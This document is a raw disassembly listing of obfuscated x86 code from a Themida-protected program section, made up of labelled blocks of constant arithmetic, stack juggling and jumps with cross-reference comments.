loc_5A2055: ; CODE XREF: Themida_:005A0ECDj
push edi
sub esp, 4
mov [esp], ebp
jmp loc_59973F
; ---------------------------------------------------------------------------
loc_5A2061: ; CODE XREF: Themida_:005A9D91j
add esp, 4
jmp loc_59AB3C
; ---------------------------------------------------------------------------
loc_5A2069: ; CODE XREF: Themida_:005A2847j
mov esi, [esp]
add esp, 4
jmp loc_5A294B
; ---------------------------------------------------------------------------
loc_5A2074: ; CODE XREF: Themida_:005A5CA7j
mov [esp], ecx
push edi
jmp loc_59943E
; ---------------------------------------------------------------------------
loc_5A207D: ; CODE XREF: Themida_:005974DAj
push ebx
mov ebx, 27A002B5h
mov esi, ebx
pop ebx
add esi, 48BF5AB9h
xchg ebx, esi
push ebx
dec dword ptr [esp]
pop ebx
xchg ebx, esi
shl esi, 1
xor esi, 17A67980h
and esi, 3FCD112Eh
sub esi, 3535BDF9h
jmp loc_59C248
; ---------------------------------------------------------------------------
loc_5A20AE: ; CODE XREF: Themida_:00597100j
shl ecx, 6
dec ecx
add ecx, 58125F6Bh
sub ecx, 291A7B34h
sub ecx, 0AB26AF16h
xor esi, ecx
jmp loc_59FABE
; ---------------------------------------------------------------------------
loc_5A20CB: ; CODE XREF: Themida_:0059FE6Bj
add esp, 4
add ebx, 4
sub esp, 4
jmp loc_5A1079
; ---------------------------------------------------------------------------
loc_5A20DC: ; CODE XREF: Themida_:005A7719j
shr eax, 3
shr eax, 6
sub eax, 0E4DAD5F8h
mov ebp, eax
pop eax
jmp loc_5A6B3C
; ---------------------------------------------------------------------------
loc_5A20EF: ; CODE XREF: Themida_:00596387j
mov [esp], ebp
jmp loc_5A01F6
; ---------------------------------------------------------------------------
loc_5A20F7: ; CODE XREF: Themida_:0059C128j
add edx, edi
sub edx, 0F0A4CE0h
pop edi
shl edx, 2
add edx, 1
add edx, 0BD8FB1D9h
mov eax, edx
pop edx
xor ebx, eax
pop eax
jmp loc_597B82
; ---------------------------------------------------------------------------
loc_5A211A: ; CODE XREF: Themida_:00596980j
xor ebx, eax
pop eax
sub esp, 4
mov [esp], ecx
jmp loc_59BF89
; ---------------------------------------------------------------------------
loc_5A2128: ; CODE XREF: Themida_:0059D867j
mov ecx, 4
add eax, ecx
pop ecx
jmp loc_5A65C1
; ---------------------------------------------------------------------------
loc_5A2135: ; CODE XREF: Themida_:005988B2j
mov dh, 0C2h
shl dh, 5
push ecx
mov cl, 44h
sub cl, 19h
add cl, 0EEh
not cl
not cl
add cl, 0C7h
add dh, cl
pop ecx
jmp loc_5A2FEE
; ---------------------------------------------------------------------------
loc_5A2152: ; CODE XREF: Themida_:005A9DCFj
add esp, 4
or esi, 18CB39C4h
xchg eax, esi
push eax
not dword ptr [esp]
mov eax, [esp]
add esp, 4
xchg eax, esi
dec esi
add esi, 0A1AFF8F5h
sub esp, 4
mov [esp], ebx
mov ebx, esi
jmp loc_59B668
; ---------------------------------------------------------------------------
loc_5A217E: ; CODE XREF: Themida_:0059659Ej
xchg ecx, [esp]
mov esp, [esp]
jmp loc_5A386C
; ---------------------------------------------------------------------------
loc_5A2189: ; CODE XREF: Themida_:005A0738j
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
push 48BDh
mov [esp], ecx
push eax
jmp loc_59AED2
; ---------------------------------------------------------------------------
loc_5A21A1: ; CODE XREF: Themida_:005A693Fj
pop eax
push 377Ch
jmp loc_5A4402
; ---------------------------------------------------------------------------
loc_5A21AC: ; CODE XREF: Themida_:00598FDCj
push edi
mov edi, 66E633EFh
jmp loc_5A3196
; ---------------------------------------------------------------------------
loc_5A21B7: ; CODE XREF: Themida_:00596B28j
push edx
mov edx, 2
add esi, edx
jmp loc_596561
; ---------------------------------------------------------------------------
loc_5A21C4: ; CODE XREF: Themida_:0059CE47j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
mov esi, 11690DB0h
sub esi, 74E91B56h
sub esi, 6625C5BDh
shr esi, 1
shr esi, 7
push 4194h
mov [esp], ecx
mov ecx, 3E2C490Dh
xor esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
xor edi, esi
mov esi, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_59A0A1
; ---------------------------------------------------------------------------
loc_5A2225: ; CODE XREF: Themida_:005A8ED1j
sub cl, 82h
mov dh, cl
pop ecx
shl dh, 5
add dh, 0ADh
jmp loc_59D28D
; ---------------------------------------------------------------------------
loc_5A2236: ; CODE XREF: Themida_:005AB326j
pop ebp
add ebp, edi
pop edi
jmp loc_5A0512
; ---------------------------------------------------------------------------
loc_5A223F: ; CODE XREF: Themida_:005AA88Bj
push ebp
jmp loc_59D6A4
; ---------------------------------------------------------------------------
loc_5A2245: ; CODE XREF: Themida_:005A234Ej
sub ecx, 19F92463h
jmp loc_596C06
; ---------------------------------------------------------------------------
loc_5A2250: ; CODE XREF: Themida_:0059CD61j
shr edi, 4
and edi, 79C975F3h
push edx
mov edx, 7BBB2956h
shl edx, 5
shr edx, 7
not edx
sub edx, 0D0C7EE12h
sub edi, edx
pop edx
add edi, 80212A83h
shr edi, 8
inc edi
inc edi
sub edi, 52E054h
add esi, edi
pop edi
jmp loc_59EC8C
; ---------------------------------------------------------------------------
loc_5A2289: ; CODE XREF: Themida_:005A3F5Cj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add ebx, 4
push 9F2h
mov [esp], ebp
mov ebp, 7D761A14h
inc ebp
shl ebp, 3
shr ebp, 1
xor ebp, 75D86856h
add ebx, 24603303h
add ebx, 4BF67C67h
add ebx, 66C82FECh
add ebx, ebp
sub ebx, 66C82FECh
jmp loc_59E0BB
; ---------------------------------------------------------------------------
loc_5A22D8: ; CODE XREF: Themida_:0059E5E7j
xor ecx, [esp]
jmp loc_59EE75
; ---------------------------------------------------------------------------
loc_5A22E0: ; CODE XREF: Themida_:0059C2C2j
push eax
mov eax, 26DD7F79h
push esi
mov esi, eax
mov ebx, esi
pop esi
pop eax
jmp loc_5A6B55
; ---------------------------------------------------------------------------
loc_5A22F2: ; CODE XREF: Themida_:005A405Dj
pop edi
push edx
mov edx, esp
add edx, 4
jmp loc_5A7F93
; ---------------------------------------------------------------------------
loc_5A2301: ; CODE XREF: Themida_:005A7BFAj
push 3B63h
mov [esp], eax
push ebx
jmp loc_5A0BFF
; ---------------------------------------------------------------------------
loc_5A230F: ; CODE XREF: Themida_:0059E675j
push 3CB157Eh
mov ebx, [esp]
add esp, 4
jmp loc_59E5A6
; ---------------------------------------------------------------------------
loc_5A231F: ; CODE XREF: Themida_:005A4F94j
pop ebx
add eax, 13AA1E62h
add eax, edx
sub eax, 13AA1E62h
pop edx
push ebx
mov ebx, 75DE662Dh
inc ebx
jmp loc_5A9B5B
; ---------------------------------------------------------------------------
loc_5A2339: ; CODE XREF: Themida_:005A6C38j
pop ebx
add ecx, 19F92463h
sub ecx, 7EB5020Bh
add ecx, esi
add ecx, 7EB5020Bh
jmp loc_5A2245
; ---------------------------------------------------------------------------
loc_5A2353: ; CODE XREF: Themida_:0059C1BAj
mov ebp, 154F23E9h
sub eax, ebp
pop ebp
add esi, eax
pop eax
push 5E80h
mov [esp], eax
jmp loc_59C313
; ---------------------------------------------------------------------------
loc_5A236B: ; CODE XREF: Themida_:00598D28j
or esi, ebp
pop ebp
add esi, 1
sub esi, 0C4611573h
jmp loc_5A9A0D
; ---------------------------------------------------------------------------
loc_5A237F: ; CODE XREF: Themida_:005A412Dj
mov [esp], ebx
mov ebx, 697D7219h
push ebp
mov ebp, 74C628BFh
and ebx, ebp
jmp loc_59A17B
; ---------------------------------------------------------------------------
loc_5A2394: ; CODE XREF: Themida_:00598823j
add esp, 4
push ebp
mov ebp, 47F64406h
add ebp, 47D662B8h
jmp loc_59EB15
; ---------------------------------------------------------------------------
loc_5A23A8: ; CODE XREF: Themida_:0059EA81j
xchg edx, [esp]
pop esp
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
jmp loc_596459
; ---------------------------------------------------------------------------
loc_5A23C5: ; CODE XREF: Themida_:0059E4FAj
mov [esp], eax
mov eax, 15FE0D85h
xor eax, 18AC2EEFh
inc eax
xor eax, 0D52236Fh
add ebx, eax
pop eax
push edi
jmp loc_599699
; ---------------------------------------------------------------------------
loc_5A23E1: ; CODE XREF: Themida_:005A0D26j
pop ebp
push eax
mov eax, 7B12669Bh
jmp loc_597E2F
; ---------------------------------------------------------------------------
loc_5A23ED: ; CODE XREF: Themida_:005A69CCj
add esi, 20EF7A7Fh
add esi, ebx
sub esi, 20EF7A7Fh
jmp loc_59CE06
; ---------------------------------------------------------------------------
loc_5A2400: ; CODE XREF: Themida_:005A325Aj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esp
push edi
mov edi, 4
sub dword ptr [esp+4], 1FAE0B56h
add dword ptr [esp+4], 61DD48B2h
add [esp+4], edi
sub dword ptr [esp+4], 61DD48B2h
add dword ptr [esp+4], 1FAE0B56h
pop edi
mov esi, [esp]
jmp loc_5A8A4A
; ---------------------------------------------------------------------------
loc_5A2446: ; CODE XREF: Themida_:005A18E3j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], ebx
mov bh, 61h
shl bh, 6
push eax
mov al, 4Ch
jmp loc_598B5F
; ---------------------------------------------------------------------------
loc_5A2460: ; CODE XREF: Themida_:0059AE53j
movzx cx, al
push 4EE6h
mov [esp], ebx
jmp loc_59B5A0
; ---------------------------------------------------------------------------
loc_5A2471: ; CODE XREF: Themida_:005A137Cj
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
push edx
jmp loc_5964FC
; ---------------------------------------------------------------------------
loc_5A2486: ; CODE XREF: Themida_:0059CC22j
mov edx, 51CF0D03h
jmp loc_5A9AC5
; ---------------------------------------------------------------------------
loc_5A2490: ; CODE XREF: Themida_:0059CA59j
add bl, dh
pop edx
jmp loc_597D07
; ---------------------------------------------------------------------------
loc_5A2498: ; CODE XREF: Themida_:00598FBDj
pop edi
and ebp, 313F4E9Eh
push ecx
mov ecx, 5A2A006Ch
or ebp, ecx
pop ecx
push ecx
jmp loc_596AE1
; ---------------------------------------------------------------------------
loc_5A24AE: ; CODE XREF: Themida_:005A4EBFj
and edi, 469915B2h
neg edi
inc edi
xor edi, 5DDE1AD5h
xor edi, 0C1729D89h
add ebx, edi
jmp loc_5AB0B0
; ---------------------------------------------------------------------------
loc_5A24CA: ; CODE XREF: Themida_:005A126Bj
neg eax
xor eax, 5D9B0DC2h
xor eax, 0F2ADC41Ch
sub edx, eax
pop eax
sub edx, eax
add edx, 517376DEh
jmp loc_5A4FAC
; ---------------------------------------------------------------------------
loc_5A24E6: ; CODE XREF: Themida_:005A02EBj
add ebx, 0D337ECBh
sub ebx, 503068ACh
sub ebx, eax
add ebx, 503068ACh
sub ebx, 0D337ECBh
sub esp, 4
mov [esp], eax
mov eax, 4EF60289h
jmp loc_5A894B
; ---------------------------------------------------------------------------
loc_5A2513: ; CODE XREF: Themida_:005A3A9Bj
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_59DA0F
; ---------------------------------------------------------------------------
loc_5A2526: ; CODE XREF: Themida_:005AB205j
pop esi
jmp loc_5A16F0
; ---------------------------------------------------------------------------
loc_5A252C: ; CODE XREF: Themida_:005A3B51j
mov eax, [esp]
jmp loc_59760B
; ---------------------------------------------------------------------------
loc_5A2534: ; CODE XREF: Themida_:005A4DF3j
push ebx
mov ebx, 0BFE56CBh
sub edx, ebx
jmp loc_59DD89
; ---------------------------------------------------------------------------
loc_5A2541: ; CODE XREF: Themida_:005A48C2j
mov edx, 540D55AEh
shr edx, 6
push edi
mov edi, esp
jmp loc_5AAA40
; ---------------------------------------------------------------------------
loc_5A2551: ; CODE XREF: Themida_:0059DD9Cj
mov ebx, edi
mov edi, [esp]
push ecx
jmp loc_59AD89
; ---------------------------------------------------------------------------
loc_5A255C: ; CODE XREF: Themida_:005972DBj
pop edx
add ebx, edi
push edi
mov edi, 28341D24h
add ebx, edi
mov edi, [esp]
add esp, 4
add ebx, 67A60BBFh
jmp loc_59A090
; ---------------------------------------------------------------------------
loc_5A2578: ; CODE XREF: Themida_:005A3205j
add bh, 15h
sub bh, 1
sub bh, 2
neg bh
jmp loc_5967C3
; ---------------------------------------------------------------------------
loc_5A2588: ; CODE XREF: Themida_:0059BE26j
or eax, 51A412BFh
jmp loc_5A2ACF
; ---------------------------------------------------------------------------
loc_5A2592: ; CODE XREF: Themida_:005A16D8j
push 4466h
mov [esp], ebp
jmp loc_59BE1D
; ---------------------------------------------------------------------------
loc_5A259F: ; CODE XREF: Themida_:005A6477j
xchg eax, edx
jmp loc_5A6A99
; ---------------------------------------------------------------------------
loc_5A25A5: ; CODE XREF: Themida_:005A1214j
push ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
push esi
jmp loc_5A5539
; ---------------------------------------------------------------------------
loc_5A25C0: ; CODE XREF: Themida_:005A51EEj
pop eax
xor dx, si
jmp loc_5A3F16
; ---------------------------------------------------------------------------
loc_5A25C9: ; CODE XREF: Themida_:0059B5B4j
and cl, bl
jmp loc_59C57E
; ---------------------------------------------------------------------------
loc_5A25D0: ; CODE XREF: Themida_:0059971Bj
sub eax, 60262E8Ch
jmp loc_5A0D74
; ---------------------------------------------------------------------------
loc_5A25DA: ; CODE XREF: Themida_:005AAC25j
pop edi
add esi, ebp
pop ebp
jmp loc_598797
; ---------------------------------------------------------------------------
loc_5A25E3: ; CODE XREF: Themida_:005A1BD7j
sub edi, 79215D6Eh
add edi, 30667ED5h
jmp loc_5A4806
; ---------------------------------------------------------------------------
loc_5A25F4: ; CODE XREF: Themida_:005A97DEj
sub ebx, ecx
mov ecx, [esp]
jmp loc_5A7B06
; ---------------------------------------------------------------------------
loc_5A25FE: ; CODE XREF: Themida_:005A0669j
sub edx, 4
push edx
push dword ptr [esp+4]
jmp loc_5995C4
; ---------------------------------------------------------------------------
loc_5A260E: ; CODE XREF: Themida_:00596B96j
add edx, 4
jmp loc_59F4F7
; ---------------------------------------------------------------------------
loc_5A2619: ; CODE XREF: Themida_:0059C1D8j
pop ebx
xor eax, 531C5637h
add ebx, 21477839h
add ebx, 6FA343CDh
add ebx, eax
push ecx
mov ecx, 4B691CCBh
add ecx, 66867B65h
not ecx
add ecx, 2192DBFEh
sub ebx, ecx
mov ecx, [esp]
add esp, 4
sub ebx, 21477839h
jmp loc_5A6B5C
; ---------------------------------------------------------------------------
loc_5A2657: ; CODE XREF: Themida_:005974D2j
mov [esp], eax
mov eax, 4
add ebp, eax
pop eax
jmp loc_5A1C39
; ---------------------------------------------------------------------------
loc_5A2667: ; CODE XREF: Themida_:005AB20Dj
xchg edx, [esp]
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A2670: ; CODE XREF: Themida_:005A6711j
xor esi, 164B4140h
neg esi
push ebp
mov ebp, 0F0296525h
add esi, ebp
pop ebp
add ebp, esi
jmp loc_5A411B
; ---------------------------------------------------------------------------
loc_5A2688: ; CODE XREF: Themida_:005A18F7j
add al, dh
pop dx
jmp loc_5A3FFE
; ---------------------------------------------------------------------------
loc_5A2691: ; CODE XREF: Themida_:0059FCB4j
mov dl, cl
push edx
mov dh, al
push eax
mov ah, dh
mov cl, ah
pop eax
pop edx
mov ax, [esp]
add esp, 2
push 21F9h
mov [esp], ebx
sub esp, 4
mov [esp], edx
push eax
mov ah, cl
mov dh, ah
mov eax, [esp]
add esp, 4
jmp loc_5A9480
; ---------------------------------------------------------------------------
loc_5A26C2: ; CODE XREF: Themida_:0059793Bj
pop esp
jmp loc_59B09A
; ---------------------------------------------------------------------------
loc_5A26C8: ; CODE XREF: Themida_:0059C541j
add ecx, 4
push 1965h
mov [esp], ebx
push 4
mov ebx, [esp]
add esp, 4
sub ecx, 49D1519Fh
sub ecx, ebx
push edx
mov edx, 448D3FDBh
push ecx
mov ecx, 40E34842h
or ecx, 28C3448Eh
push ebx
mov ebx, 10233B9Eh
add ebx, 7EC42965h
or ebx, 2F15304Fh
sub ebx, 54554C32h
or ecx, ebx
pop ebx
jmp loc_59ED40
; ---------------------------------------------------------------------------
loc_5A271B: ; CODE XREF: Themida_:005A6868j
pop ebx
push 37C4h
mov [esp], esi
mov esi, 12792267h
add esi, 0ED86DD9Dh
add edi, esi
mov esi, [esp]
add esp, 4
xchg edi, [esp]
pop esp
movzx ecx, al
push 5381h
mov [esp], esi
push 1848h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
sub esp, 4
jmp loc_5A4DCA
; ---------------------------------------------------------------------------
loc_5A276C: ; CODE XREF: Themida_:005A9AB1j
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
add edx, 0FFFFFFFFh
push eax
mov eax, 1C3323CDh
jmp loc_5A0C61
; ---------------------------------------------------------------------------
loc_5A2793: ; CODE XREF: Themida_:00598D92j
sub edx, 3B30430h
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
add ebx, 4
jmp loc_59BBBD
; ---------------------------------------------------------------------------
loc_5A27B0: ; CODE XREF: Themida_:0059BC67j
dec ecx
add ecx, 5B41309h
sub edx, 20BC5E74h
jmp loc_599F87
; ---------------------------------------------------------------------------
loc_5A27C2: ; CODE XREF: Themida_:005A4ACFj
mov bl, ch
pop ecx
and bl, 45h
shr bl, 7
shr bl, 2
add bl, 9Eh
xor al, bl
pop ebx
jmp loc_5A11AF
; ---------------------------------------------------------------------------
loc_5A27D9: ; CODE XREF: Themida_:0059E29Fj
pop esi
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A58AC
; ---------------------------------------------------------------------------
loc_5A27F0: ; CODE XREF: Themida_:005A1001j
mov edx, esp
jmp loc_5A5593
; ---------------------------------------------------------------------------
loc_5A27F7: ; CODE XREF: Themida_:0059947Bj
pop edx
jmp loc_5A1288
; ---------------------------------------------------------------------------
loc_5A27FD: ; CODE XREF: Themida_:005A6441j
sub esp, 4
mov [esp], eax
push ebp
mov ebp, 39F95885h
add ebp, 4CBD2AD9h
inc ebp
add ebp, 0C4CED3DAh
mov eax, ebp
pop ebp
jmp loc_59FA4A
; ---------------------------------------------------------------------------
loc_5A281E: ; CODE XREF: Themida_:005A8F44j
mov eax, 4
add [esp+4], eax
pop eax
pop esi
jmp loc_59E67A
; ---------------------------------------------------------------------------
loc_5A282E: ; CODE XREF: Themida_:0059C81Bj
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_5A4A1F
; ---------------------------------------------------------------------------
loc_5A283A: ; CODE XREF: Themida_:005A39FCj
push esi
push 1
pop esi
or [edi+1Ch], esi
push dword ptr [esp]
jmp loc_5A2069
; ---------------------------------------------------------------------------
loc_5A284C: ; CODE XREF: Themida_:005A3D22j
sub esp, 4
mov [esp], edi
mov edi, 4
add [esp+4], edi
pop edi
mov eax, [esp]
add esp, 4
add eax, 4
sub eax, 4
jmp loc_5A978E
; ---------------------------------------------------------------------------
loc_5A286F: ; CODE XREF: Themida_:005A0A29j
mov eax, esp
jmp loc_59ABB6
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 4824h
mov [esp], esi
push 3CAFh
jmp loc_5A8165
; ---------------------------------------------------------------------------
loc_5A288C: ; CODE XREF: Themida_:00598332j
pop ebx
pop dword ptr [esp]
pop esp
push esp
pop dword ptr [esp]
push 6155h
mov [esp], esi
mov esi, 2CCD321Dh
or esi, 436191Dh
jmp loc_5A0046
; ---------------------------------------------------------------------------
loc_5A28AD: ; CODE XREF: Themida_:005A0181j
add al, 53h
push dx
mov dh, 6Eh
push small 4DD2h
jmp loc_5A18F1
; ---------------------------------------------------------------------------
loc_5A28BC: ; CODE XREF: Themida_:005A0C01j
mov ah, bh
mov ebx, [esp]
add esp, 4
push edx
mov dh, ah
mov cl, dh
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
push edx
jmp loc_59C7E0
; ---------------------------------------------------------------------------
loc_5A28DB: ; CODE XREF: Themida_:0059DD24j
mov dx, 57A1h
push eax
mov ax, 31FEh
push bp
mov bp, 502Ch
sub ax, bp
pop bp
push di
push edx
mov dx, 5D6Ch
xor dx, 2D5h
sub dx, 4C83h
mov di, dx
pop edx
and ax, di
pop di
shr ax, 2
jmp loc_59D7C2
; ---------------------------------------------------------------------------
loc_5A2912: ; CODE XREF: Themida_:00598F8Ej
add ebp, esi
pop esi
xchg ebp, [esp]
pop esp
push ecx
mov ecx, 35CD32FCh
jmp loc_5A9C5C
; ---------------------------------------------------------------------------
loc_5A2924: ; CODE XREF: Themida_:005AAD1Dj
mov esi, 55A460A5h
shl esi, 2
not esi
jmp loc_5A5AF1
; ---------------------------------------------------------------------------
loc_5A2933: ; CODE XREF: Themida_:0059D4C3j
push edx
mov edx, 3F8F0CDAh
sub eax, edx
pop edx
add eax, 2A8B25EFh
add eax, 3D1C6F4Ch
jmp loc_59ADC2
; ---------------------------------------------------------------------------
loc_5A294B: ; CODE XREF: Themida_:005A206Fj
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
push edi
push 772Dh
mov [esp], eax
mov eax, 13B9354Ah
push ebp
mov ebp, 34276E84h
mov edi, 47E0A3D2h
sub edi, ebp
mov ebp, [esp]
add esp, 4
sub edi, eax
mov eax, [esp]
add esp, 4
sub ebp, 9167835h
add ebp, 7BE11D6Fh
add ebp, edi
jmp loc_59600B
; ---------------------------------------------------------------------------
loc_5A29A1: ; CODE XREF: Themida_:0059AEABj
sub esp, 4
jmp loc_5A438D
; ---------------------------------------------------------------------------
loc_5A29AC: ; CODE XREF: Themida_:0059DE43j
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
jmp loc_59CB65
; ---------------------------------------------------------------------------
loc_5A29BA: ; CODE XREF: Themida_:005A8B52j
push dword ptr [esp]
pop edi
push eax
push esp
push dword ptr [esp]
pop eax
add esp, 4
add eax, 4
push ecx
jmp loc_5A9FCD
; ---------------------------------------------------------------------------
loc_5A29D5: ; CODE XREF: Themida_:0059C218j
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push 515h
mov [esp], ebx
push eax
mov ah, 62h
push ecx
jmp loc_59C35A
; ---------------------------------------------------------------------------
loc_5A29F8: ; CODE XREF: Themida_:005A2EBEj
mov ecx, edi
pop edi
sub ecx, 8FF5AD3Ah
sub edx, ecx
pop ecx
add edx, ebx
add edx, 72C67FA3h
jmp loc_59D34B
; ---------------------------------------------------------------------------
loc_5A2A11: ; CODE XREF: Themida_:0059FD09j
mov al, dh
pop edx
pop ebx
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
not al
push edx
push ebx
mov bl, al
mov dl, bl
mov ebx, [esp]
jmp loc_5A640D
; ---------------------------------------------------------------------------
loc_5A2A2D: ; CODE XREF: Themida_:0059D1DFj
pop edx
xchg edi, [esp]
pop esp
jmp loc_598865
; ---------------------------------------------------------------------------
loc_5A2A37: ; CODE XREF: Themida_:0059CFA3j
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
jmp loc_596E52
; ---------------------------------------------------------------------------
loc_5A2A49: ; CODE XREF: Themida_:005A2BB5j
mov bh, 0Fh
sub esp, 4
mov [esp], edx
mov dl, 35h
jmp loc_5A1347
; ---------------------------------------------------------------------------
loc_5A2A58: ; CODE XREF: Themida_:005A7B82j
mov [esp], ebp
mov ebp, 4D8232D8h
or ebp, 0C846804h
push esi
sub esp, 4
mov [esp], edx
mov edx, 0B2798528h
mov esi, edx
jmp loc_5A92FA
; ---------------------------------------------------------------------------
loc_5A2A7C: ; CODE XREF: Themida_:0059AF59j
xchg edx, ecx
not edx
xchg edx, ecx
xchg ecx, esi
jmp loc_59CE9C
; ---------------------------------------------------------------------------
loc_5A2A89: ; CODE XREF: Themida_:005A1B37j
pop esp
mov [esp], edi
jmp loc_5A1270
; ---------------------------------------------------------------------------
loc_5A2A92: ; CODE XREF: Themida_:005AAEC3j
push dword ptr [esp]
pop edx
sub esp, 4
jmp loc_59C7C6
; ---------------------------------------------------------------------------
loc_5A2AA1: ; CODE XREF: Themida_:0059B488j
shr ebx, 6
neg ebx
jmp loc_5990C6
; ---------------------------------------------------------------------------
loc_5A2AAB: ; CODE XREF: Themida_:00597B36j
xor al, bh
mov bx, [esp]
add esp, 2
shr al, 7
push ecx
jmp loc_5A6172
; ---------------------------------------------------------------------------
loc_5A2AC0: ; CODE XREF: Themida_:005A6080j
add edi, 55621668h
add eax, edi
pop edi
pop ecx
jmp loc_597105
; ---------------------------------------------------------------------------
loc_5A2ACF: ; CODE XREF: Themida_:005A258Dj
xor eax, 27095264h
jmp loc_5A76FC
; ---------------------------------------------------------------------------
loc_5A2AD9: ; CODE XREF: Themida_:005A62DBj
add edi, eax
pop eax
xchg edi, [esp]
mov esp, [esp]
jmp loc_5AA4DC
; ---------------------------------------------------------------------------
loc_5A2AE7: ; CODE XREF: Themida_:005A5FEFj
mov ebp, 0DA87844h
sub edi, ebp
jmp loc_5A3B56
; ---------------------------------------------------------------------------
loc_5A2AF3: ; CODE XREF: Themida_:005A5845j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5992BB
; ---------------------------------------------------------------------------
loc_5A2B03: ; CODE XREF: Themida_:005A3B66j
push ebx
mov ebx, 3EE551Ch
mov edx, 0C576F1CAh
add edx, ebx
pop ebx
add edx, edi
pop edi
jmp loc_595F07
; ---------------------------------------------------------------------------
loc_5A2B19: ; CODE XREF: Themida_:0059F8EEj
mov [esp], ebx
push eax
mov al, cl
mov bl, al
jmp loc_5A10BF
; ---------------------------------------------------------------------------
loc_5A2B26: ; CODE XREF: Themida_:0059D1AEj
mov [esp], esi
push 70616826h
push dword ptr [esp]
pop esi
push ebp
mov ebp, esp
jmp loc_59792C
; ---------------------------------------------------------------------------
loc_5A2B3A: ; CODE XREF: Themida_:005A9B04j
shl esi, 8
jmp loc_5A079E
; ---------------------------------------------------------------------------
loc_5A2B42: ; CODE XREF: Themida_:005970A9j
mov ecx, eax
mov eax, [esp]
add esp, 4
pop ebx
push 2580h
jmp loc_5A84A0
; ---------------------------------------------------------------------------
loc_5A2B58: ; CODE XREF: Themida_:00597199j
push esp
pop eax
jmp loc_5A6207
; ---------------------------------------------------------------------------
loc_5A2B5F: ; CODE XREF: Themida_:005972C8j
dec eax
jmp loc_5AB2FF
; ---------------------------------------------------------------------------
loc_5A2B65: ; CODE XREF: Themida_:005A49A9j
push eax
push ebp
mov ebp, 20B83898h
add ebp, 41B2336Ch
jmp loc_5A89AD
; ---------------------------------------------------------------------------
loc_5A2B77: ; CODE XREF: Themida_:005998AEj
add al, bl
sub al, 75h
jmp loc_5A75AA
; ---------------------------------------------------------------------------
loc_5A2B80: ; CODE XREF: Themida_:005A3D46j
add edi, 2EC051ACh
push dword ptr [esp]
pop eax
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_5A8094
; ---------------------------------------------------------------------------
loc_5A2B9E: ; CODE XREF: Themida_:00597E11j
sub eax, ecx
sub eax, 3000425Ah
jmp loc_5A104B
; ---------------------------------------------------------------------------
loc_5A2BAA: ; CODE XREF: Themida_:00597211j
inc dh
xor dh, 7
sub al, dh
pop edx
add al, bl
push ebx
jmp loc_5A2A49
; ---------------------------------------------------------------------------
loc_5A2BBA: ; CODE XREF: Themida_:005A339Bj
add ebx, 4
xchg ebx, [esp]
pop esp
movzx eax, al
jmp loc_5A93A5
; ---------------------------------------------------------------------------
loc_5A2BC9: ; CODE XREF: Themida_:005A58CDj
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push ecx
jmp loc_5A2DF3
; ---------------------------------------------------------------------------
loc_5A2BDC: ; CODE XREF: Themida_:0059AFE3j
or eax, edx
jmp loc_5A300B
; ---------------------------------------------------------------------------
loc_5A2BE3: ; CODE XREF: Themida_:005AB105j
pop esi
add esi, ebp
jmp loc_5A511C
; ---------------------------------------------------------------------------
loc_5A2BEB: ; CODE XREF: Themida_:005A66FEj
add edi, 384D50AFh
sub edi, 4EC013B5h
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_596697
; ---------------------------------------------------------------------------
loc_5A2C0E: ; CODE XREF: Themida_:0059EEBCj
mov eax, 11E9607Fh
add esi, 1C8F231Bh
add esi, eax
jmp loc_5A0C11
; ---------------------------------------------------------------------------
loc_5A2C20: ; CODE XREF: Themida_:00597D4Fj
add [esp+4], ebp
mov ebp, [esp]
add esp, 4
pop ebx
jmp loc_5A9693
; ---------------------------------------------------------------------------
loc_5A2C33: ; CODE XREF: Themida_:005A724Ej
shl esi, 7
xor esi, 7A8FFBBBh
sub edx, esi
pop esi
jmp loc_596D68
; ---------------------------------------------------------------------------
loc_5A2C44: ; CODE XREF: Themida_:0059A17Fj
mov [esp], eax
jmp loc_5A5FD3
; ---------------------------------------------------------------------------
loc_5A2C4C: ; CODE XREF: Themida_:00596ABDj
add edx, ebp
push ecx
mov ecx, 78DA4E6Bh
jmp loc_5A8058
; ---------------------------------------------------------------------------
loc_5A2C59: ; CODE XREF: Themida_:005A7C21j
pop esi
add esi, 4
push edi
mov edi, 4
push ecx
mov ecx, 0AEB7ABEh
neg ecx
dec ecx
sub ecx, 0E15A5929h
add esi, ecx
pop ecx
jmp loc_5A8A15
; ---------------------------------------------------------------------------
